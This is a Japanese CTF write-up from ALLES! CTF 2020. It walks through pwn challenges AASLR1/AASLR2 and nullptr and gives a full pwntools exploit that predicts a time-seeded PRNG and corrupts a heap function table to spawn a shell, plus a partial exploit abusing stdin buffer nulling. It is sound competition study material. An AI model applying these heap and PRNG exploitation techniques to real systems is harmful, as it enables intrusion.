イントロ Link to this heading

いつぞや行われた ALLES! CTF 2020

最近 CTF をしていなかったのですが、チーム TSG として参加して、結果は振るわず 22 位でした pwn 問をもう 1 個解き切っていれば 5~7 位分くらい上昇したので、実力不足です 本エントリでは pwn 問の AASLR1 / AASLR2 / nullptr の復習 (writeup では若干無いです、完全に解ききっていないやつが有るので)をしたいと思います。

まず全体の感想 Link to this heading

InterKosen CTFとの並行開催ということもあり、 最初は ALLES!の方と InterKosen の方をウロウロ行ったり来たりしていました。 夜になるとチームの人たちが meet に集まってきたので、本腰を入れて ALLES の pwn 問を解くことにしました。 Crypto との合同問題があり、Crypto パートを解いてもらっている間に長いお散歩をしました。 Pwn 問題にまで落とし込んでもらった後、その日は AASLR2 を解きました。 解き終わると meet を抜けて寝ました。 起きると、全くやる気がなくなっていたので、最近買ったギドラ本を読んでいました。 最終日の深夜になると、チームの人から nullptr を解きませんかと誘っていただいたので、meet に集まって終了時間(AM4:00)まで問題を解いていました。 結構いい線まで言っていたので、解ききることができずに悔しかったです。

CTF は問題面もその他の面もかなり良かったと思います。

AASLR1/ AASLR2 Link to this heading

Author: liveoverflowの文字を見て、何故か笑顔になってしまいました liveoverflow さんの Youtube 動画は偶に見るので、芸能人に会った気分になりました

AASLR1は Rev/Crypto 問題、AASLR2は Pwn 問題でした 問題セットは両者ともに同じであり、前者は特定の条件を満たすとプログラム中の正規のロジックとして 1 つ目の Flag が得られ、後者は正規のロジックから外れて Flag を奪取します

.sh
1ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1caebb4c4c5b9bb141671f3721daaabd26f49312, for GNU/Linux 3.2.0, not stripped
2    RELRO:    Full RELRO
3    Stack:    Canary found
4    NX:       NX enabled
5    PIE:      PIE enabled

オレオレ malloc 問題です

最初に mmap() で取得した領域から aslr_malloc() でユーザ用に領域を確保してくるのですが、この際に乱数生成器から得た乱数をもとにして確保するアドレスを決定します この乱数生成器のシードはプログラムの最初に呼んだ time() の値だけです また、確保した領域を管理する機構がないため、生成された乱数の値によっては overlapped chunk が作られることになります

乱数生成器の掌握 Link to this heading

さて、まずはこの乱数生成器が次に吐く乱数を予測できないことには始まりません

プログラム中には、dice() という関数によって生成される乱数のmod6の値のみを任意に取得することができます

僕は数学が小学 2 年生の計算くらいしかできないので、他の人に任せていました。 mod6のみで乱数生成器を掌握するのは難しいようで一旦詰まりましたが、 time()を使っているのだから接続した時間の前後数秒をそれぞれシードにした乱数生成器をこちら側で用意し、 dice()を振ってどの生成器の出力と一致するかを調べることで乱数生成器の状態を掌握することができました。

pwn Link to this heading

乱数生成器の状態を掌握することで、aslr_malloc()によって確保される chunk のアドレスが予測できるようになりました。 このアドレスは前述したように数百回の malloc によって重複する可能性があります。 そのため、手持ちの乱数生成器で何回目のaslr_malloc()によって衝突が起こるかを計算し、その分だけdice()を振ってやることで乱数調整をします。 overlapped chunk を作ったら、ユーザデータのポインタを確保する配列が有るのでそれを良しなにいじりながら、ヒープ中に有る vtable をよしなにいじると、よしなになります

exploit Link to this heading

本 exploit は @JP3BGY と作りました:

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5from time import time
  6import sys
  7import socket,ssl
  8
  9FILENAME = "./aaslr"
 10LIBCNAME = ""
 11
 12hosts = ("7b00000009836e5ea6bc9e72.challenges.broker4.allesctf.net","localhost","localhost")
 13ports = (1337,12300,23947)
 14rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 15rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 16rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 17context(os='linux',arch='amd64')
 18binf = ELF(FILENAME)
 19libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 20
 21
 22## utilities #########################################
 23
 24realstate = None
 25ftable_off = None
 26entry_off = None
 27
 28def hoge(ix):
 29  global c
 30  c.recvuntil("Item:\n")
 31  c.sendline(str(ix))
 32
 33def td():
 34  global c
 35  hoge(1)
 36  c.recvuntil("Threw dice: ")
 37  return int(c.recvline().rstrip())
 38
 39def _create(data):
 40  global c
 41  hoge(2)
 42  c.recvuntil("100):\n")
 43  c.send(data)
 44
 45def _create_state_change(data):
 46  global realstate
 47  _create(data)
 48  realstate = prng(realstate)[1]
 49
 50def _create_state_change_get_rand(data):
 51  global realstate
 52  _create(data)
 53  val, realstate = prng(realstate)
 54  return val
 55
 56
 57def _view(ix):
 58  global c
 59  hoge(3)
 60  c.recvuntil("):\n")
 61  c.sendline(str(ix))
 62  c.recvuntil(". ")
 63  return c.recvline().rstrip()
 64
 65def _guess():
 66  global c
 67  raw_input("NOT IMPLEMENTED")
 68
 69def prng(state):
 70    mask=(1<<64)-1
 71    a,b,c,d=state
 72    tmp1=a-((b>>5)|((b<<0x1b)&mask))
 73    tmp1&=mask
 74    a=b^((c>>0xf)|((c<<0x11)&mask))
 75    a&=mask
 76    tmp2=a+tmp1
 77    tmp2&=mask
 78    b=c+d
 79    b&=mask
 80    c=d+tmp1
 81    c&=mask
 82    d=tmp2
 83    return (tmp2,(a,b,c,d))
 84
 85def get_malloc_offset(size):
 86    global realstate
 87    val, realstate = prng(realstate)
 88    return val % (0x10000 - size)
 89
 90def dice(state):
 91    x,y=prng(state)
 92    return (x%6+1,y)
 93
 94def guess_dice(nums):
 95  hoge(4)
 96  for i in range(0xf):
 97    c.recvline()
 98    c.sendline(str(nums[i]))
 99
100def send_many_dices(num):
101  if num==0:
102    return
103  c.recvuntil("Item:\n")
104  c.send("1\n"*num)
105
106# 次にお望みのaddr-size~addrを吐くようになるまでdiceを振る
107def set_recquestedd_state(req, size, aligend=None):
108  global realstate
109  global c
110  counter = 0
111  while True:
112    val, realstate = prng(realstate)
113    val = val%(0x10000-100)
114    if aligend==None or (aligend!=None and val%8==aligend):
115        if req-size<= val <=req:
116          print("[+] FOUND({}): {}".format(hex(counter), hex(val)))
117          print("[+] updating state...")
118          '''
119          for i in range(counter):
120            if i%0x30==0:
121                print("   {}".format(hex(i)))
122            td()
123          '''
124          for i in range(counter//0x100):
125            print("  sending... : {}".format(hex((i+1)*0x100)))
126            send_many_dices(0x100)
127          send_many_dices(counter%0x100)
128          return val
129    counter += 1
130
131
132## exploit ###########################################
133
134def exploit():
135  global c
136  global realstate
137  global ftable_off
138  global entry_off
139  cons = 0xf1ea5eed
140
141  nowtime=int(time())
142  states = [ (cons,nowtime+i,nowtime+i,nowtime+i)for i in range(-30,31)]
143  vptrs = []
144  entrys = []
145  for i in range(0x16):
146    newstates=[]
147    for j in states:
148        x,y= prng(j)
149        newstates.append(y)
150        if i==0x14:
151          vptrs.append(x)
152        elif i==0x15:
153          entrys.append(x)
154    states=newstates
155
156  while len(states)>1:
157    newstates=[]
158    newrnds=[]
159    newentrys=[]
160    x = td()
161    for j in range(len(states)):
162      i = states[j]
163      xx,y=dice(i)
164      if xx==x:
165        newstates.append(y)
166        newrnds.append(vptrs[j])
167        newentrys.append(entrys[j])
168
169    states=newstates
170    vptrs = newrnds
171    entrys = newentrys
172
173  assert(len(states)==1)
174  assert(len(vptrs)==1)
175  assert(len(entrys)==1)
176  realstate = states[0]
177
178  # AASLR1 ####
179  guessed = []
180  for i in range(0xf):
181    x,realstate = prng(realstate)
182    x = x%6+1
183    guessed += [x]
184  guess_dice(guessed)
185
186
187  # AASLR2 ####
188  ftable_off = vptrs[0] % (0x10000 - 0x8)
189  entry_off = entrys[0] % (0x10000 - 0x7f8)
190  print("[+] ftable_off: {}".format(hex(ftable_off)))
191  print("[+] entry_off: {}".format(hex(entry_off)))
192
193  # create dummys
194  _create_state_change("A"*0x50+"\n")
195  _create_state_change("B"*0x50+"\n")
196  _create_state_change("C"*0x50+"\n")
197
198  #
199  target_off = entry_off+8*4
200  hoge_off = target_off+0x40 - set_recquestedd_state(target_off+0x40, 0x40, aligend=entry_off%8)
201  print("[+] target: {}".format(hex(target_off)))
202  print("[+] hoge_off: {}".format(hex(hoge_off)))
203  _create("X"*0x50 + "\n")
204  c.recvuntil("at index ")
205  tmpix = int(c.recvline().rstrip())
206
207  fuck = []
208  for i in range(0x20):
209    fuck.append(_create_state_change_get_rand("Y"*8 + "\n") % (0x10000-100))
210  vmaddr1 = unpack(_view(tmpix).ljust(8,b'\x00'))
211  print("[+] get: {}".format(hex(vmaddr1)))
212  print("[+] fuck: {}".format(hex(fuck[0])))
213
214  # 諦め
215  for i in range(len(fuck)):
216    print("[+] fuck: {}".format(hex(fuck[i])))
217    if (vmaddr1 - fuck[i])%0x100 == 0:
218      mmbase = vmaddr1 - fuck[i]
219      break
220  print("[+] HEAP: {}".format(hex(mmbase)))
221  print("[*] ftable: {}".format(hex(ftable_off + mmbase)))
222  print("[*] ENTRY: {}".format(hex(entry_off + mmbase)))
223
224
225  # ftableを読みに行く(textbase leak)
226  target_off = entry_off
227  hoge_off = target_off - set_recquestedd_state(target_off, 84)
228  print("")
229  print("[+] target: {}".format(hex(target_off)))
230  print("[+] hoge_off: {}".format(hex(hoge_off)))
231  _create(b"A"*hoge_off + p64(ftable_off + mmbase)*((100-hoge_off)//8-1) + b"\n")
232  c.recvuntil("at index ")
233  tmpix = int(c.recvline().rstrip())
234
235  throw_dice_addr = unpack(_view(0).ljust(8,b'\x00'))
236  print("[+] throw_dice(): {}".format(hex(throw_dice_addr)))
237  textbase = throw_dice_addr - 0x1584
238  print("[+] textbase: {}".format(hex(textbase)))
239
240  # overwrite ftable into system
241  target_off = ftable_off
242  hoge_off = target_off - set_recquestedd_state(target_off, 84-0x10)
243  print("")
244  print("[+] target: {}".format(hex(target_off)))
245  print("[+] hoge_off: {}".format(hex(hoge_off)))
246  #_create(b"A"*hoge_off + p64(textbase + 0x1905)*((100-hoge_off)//8-1) + b"\n")
247  _create(b"A"*hoge_off + p64(textbase+0x1905)*4 + p64(textbase+0x1afc) + b"\n")
248  c.recvuntil("at index ")
249  tmpix = int(c.recvline().rstrip())
250
251  # jmp to system via error_case() function's entry
252  c.recvuntil("Item:\n")
253  print("[!] invoking shell...")
254  c.sendline("/bin/sh")
255
256  #c.sendline("cat ./flag1")
257
258
259## main ##############################################
260
261if __name__ == "__main__":
262    global c
263
264    if len(sys.argv)>1:
265      if sys.argv[1][0]=="d":
266        cmd = """
267          set follow-fork-mode parent
268        """
269        c = gdb.debug(FILENAME,cmd)
270      elif sys.argv[1][0]=="r":
271        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
272        context.verify_mode = ssl.CERT_REQUIRED
273        context.check_hostname = True
274        context.load_default_certs()
275        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
276        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
277        ssl_sock.connect((rhp1["host"],rhp1["port"]))
278        c = remote.fromsocket(ssl_sock)
279      elif sys.argv[1][0]=="v":
280        c = remote(rhp3["host"],rhp3["port"])
281    else:
282        c = remote(rhp2['host'],rhp2['port'])
283    exploit()
284    c.interactive()

結果 Link to this heading

nullptr Link to this heading

問題概要 Link to this heading

PartialRELRO です。 ちょっと弄ってあげるだけ、AAR になります。 ただし、その後できることは 「任意のアドレスの 8byte をヌルクリアする」ことだけです。

思考の道筋 Link to this heading

本問題は @moratorium08 と一緒に解こうとしたため以下のアイディアや exploit にはモラさんのものが含まれてます。

問題文にWelcome to the House Of I'm pretty sure this is not even a heap challenge(試訳: House of これはヒープ問ですら無いよ にようこそ) とあったので、heap 問だと検討をつけて考えました。 まず、mainループの間に実行されるのが scanf() / printf() / NULL クリア だけなので、ヌルクリアするべき対象は自然とstdin/stdout関係であると推察できます。

scanf() はバッファリングのためにヒープ上のバッファを使います。 このバッファのアドレスはstdin->__IO_buf_baseに入っているのですが、 この値がヌルクリアされた場合バッファが確保されていないと考えられて、malloc()を行います。 よって、topのサイズを事前に小さくしてあげることで、次のscanf時にtopを拡張させることができます。 更に、main_arena->topを部分的に NULL クリアしてあげることで 1/2048 の確率で次のtopが GOT 領域と重なるところに確保されます。 scanf()の入力として任意の値を入力してやることで、勿論scanf自体はエラーを返しますが、バッファリングはちゃんとされるため、その領域に対して任意の入力をすることができるようになると考えました。 尚、この手法はバッファリングに使うバッファのサイズ設定に環境依存し、0x1000 未満だと成功します。

本番中はこの考えに懸けて、ローカルでシェルが取れましたが、リモートでとることは無理だろうということで、結局解ききることはできませんでした。


(追記: 2020.09.08)

全く同じ方法で pwn できてる人がいたみたい:


どうやら想定解っぽいもの Link to this heading

基本的には上に述べたことと同じアイディアですが、GOT ではなく__malloc_hookを書き換えます。 そのためには新しいstdinバッファが libc symbols よりも高位にきていなければならないため、mmap()でバッファを取得する必要があります。 これは、mp_->mmap_thresholdを予めヌルクリアしてから上述のようにmalloc()を呼ぶことで達成できます。 あとは、確保した領域から__malloc_hookまでの間に有るデータの内破壊してはいけないものを正規の値で上書きしながら、__malloc_hookを書き換えるだけです。

但し、なんか環境依存っぽい要素が複数有るっぽぃ(自分の無知かもしれない)のと、昨日深夜 4:00 まで同じ問題を解いていたということの疲れもあり、まだ PoC は完成していません。 殆どやることはないですが、あとで完全な PoC を貼っておきます。

exploit: 途中まで Link to this heading

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6import socket,ssl
  7import time
  8
  9FILENAME = "./nullptr"
 10LIBCNAME = ""
 11
 12hosts = ("7b0000000158d462b15a9bee.challenges.broker3.allesctf.net","localhost","localhost")
 13ports = (1337,12300,23947)
 14rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 15rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 16rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 17context(os='linux',arch='amd64')
 18binf = ELF(FILENAME)
 19libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 20
 21
 22## utilities #########################################
 23
 24def hoge(ix):
 25  global c
 26  c.recvuntil("> \n",timeout=1)
 27  c.sendline(str(ix))
 28
 29'''
 30abc=0
 31def v(addr):
 32  global abc
 33  hoge(1)
 34  c.recvline()
 35  if addr==None:
 36    c.sendline("*")
 37  else:
 38    c.sendline(str(addr))
 39  if abc==3:
 40      c.interactive()
 41  _addr, val = c.recvline().rstrip().split(b": ")
 42  abc += 1
 43  return (int(_addr,16), int(val,16))
 44'''
 45def v(addr):
 46  hoge(1)
 47  c.recvuntil("\n",timeout=1)
 48  if addr==None:
 49    c.sendline("*")
 50  else:
 51    c.sendline(str(addr))
 52  tmp = c.recvline().rstrip().split(b": ") # なんで時々落ちるねん
 53  print(tmp)
 54  _addr, val = (tmp[0],tmp[1])
 55  return (int(_addr,16), int(val,16))
 56
 57def n(addr):
 58  hoge(2)
 59  print("[+] NULLing OUT")
 60  c.recvline(timeout=0.1)
 61  c.sendline(str(addr))
 62
 63def p(num):
 64  addr = num[0]
 65  val = num[1]
 66  print("[*] {}: {}".format(hex(addr), hex(val)))
 67  return addr, val
 68
 69
 70## exploit ###########################################
 71
 72def _exploit():
 73  global c
 74
 75  # leak each bases
 76  a1, v1 = p(v(None)) # first leaked stack addr
 77  a2, v2 = p(v(a1 - 0xd8)) # leak libc_start_main
 78  libcbase = v2 - 0x271e3
 79  mainstack_bottom = a1 - 0xe0 # main frame内の退避されたBPが置いてある場所
 80  a3, v3 = p(v(mainstack_bottom + 0x5*8)) # leak textbase
 81  main_addr = v3
 82  textbase = main_addr - 0x1bd
 83  print("[+] libcbase: {}".format(hex(libcbase)))
 84  print("[+] main stack bottom: {}".format(hex(mainstack_bottom)))
 85  print("[+] main: {}".format(hex(main_addr)))
 86  print("[+] textbase: {}".format(hex(textbase)))
 87
 88  stdin_addr = libcbase + 0x1ea980
 89  stdout_addr = libcbase + 0x1eb6a0
 90  heap_base = p(v(stdin_addr + 8))[1] - 0x12a0 # ??? remoteでは違うかも(buf sizeが)
 91  print("[+] heap: {}".format(hex(heap_base)))
 92  raw_input("OK")
 93
 94  # NULL clear mp_->mmap_threshold
 95  mp__addr = libcbase + 0x1ea280
 96  n(mp__addr + 0x10)
 97
 98  # smallen old top's size
 99  oldtop = heap_base + 0x22b0
100  n(oldtop + 9)
101
102  raw_input("OK")
103
104  # NULL clear stdin->__IO_buf_base and mmap
105  n(stdin_addr + 7*8)
106  c.interactive()
107  leaked = p(v(stdin_addr + 8))[1]
108  '''
109  The bottom libc area is the target (in this case, fail)
110    0x7fa216ac1000     0x7fa2168bd000 r-xp   1b1000 0      /glibc/2.30/64/lib/libc-2.30.so
111    0x7fa2168bd000     0x7fa216abd000 ---p   200000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
112    0x7fa216abd000     0x7fa216ac1000 r--p     4000 1b1000 /glibc/2.30/64/lib/libc-2.30.so
113    0x7fa216ac1000     0x7fa216ac3000 rw-p     2000 1b5000 /glibc/2.30/64/lib/libc-2.30.so
114    0x7fa216ac3000     0x7fa216ac7000 rw-p     4000 0
115  '''
116  target = libcbase + 0x3b5000
117  print("[+] target: {}".format(hex(target)))
118  print("[+]       : {}".format(hex(leaked & 0xFFFFFFFF0000)))
119  if leaked & 0xFFFFFFFF0000 != target:
120    hoge(-1)
121    print("[-] RETRY...\n")
122    return False
123
124  '''
125  '''
126
127
128
129def exploit():
130  ret = False
131  try:
132    ret = _exploit()
133  except ssl.SSLError:
134    print("FUCK")
135  return ret
136
137
138
139## main ##############################################
140
141if __name__ == "__main__":
142    global c
143
144    if len(sys.argv)>1:
145      if sys.argv[1][0]=="d":
146        cmd = """
147          set follow-fork-mode parent
148        """
149        c = gdb.debug(FILENAME,cmd)
150      elif sys.argv[1][0]=="r":
151        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
152        context.verify_mode = ssl.CERT_REQUIRED
153        context.check_hostname = True
154        context.load_default_certs()
155        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
156        ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
157        ssl_sock.connect((rhp1["host"],rhp1["port"]))
158        c = remote.fromsocket(ssl_sock)
159      elif sys.argv[1][0]=="v":
160        c = remote(rhp3["host"],rhp3["port"])
161    else:
162        c = remote(rhp2['host'],rhp2['port'])
163
164    fail = True
165    while fail:
166      if exploit() == False:
167        c.close()
168        sleep(0.5)
169        if len(sys.argv)>1:
170          if sys.argv[1][0]=="d":
171            cmd = """
172              set follow-fork-mode parent
173            """
174            c = gdb.debug(FILENAME,cmd)
175          elif sys.argv[1][0]=="r":
176            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
177            context.verify_mode = ssl.CERT_REQUIRED
178            context.check_hostname = True
179            context.load_default_certs()
180            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
181            ssl_sock = context.wrap_socket(s, server_hostname=rhp1["host"])
182            ssl_sock.connect((rhp1["host"],rhp1["port"]))
183            c = remote.fromsocket(ssl_sock)
184          elif sys.argv[1][0]=="v":
185            c = remote(rhp3["host"],rhp3["port"])
186        else:
187            c = remote(rhp2['host'],rhp2['port'])
188
189    c.interactive()

アウトロ Link to this heading

ねむい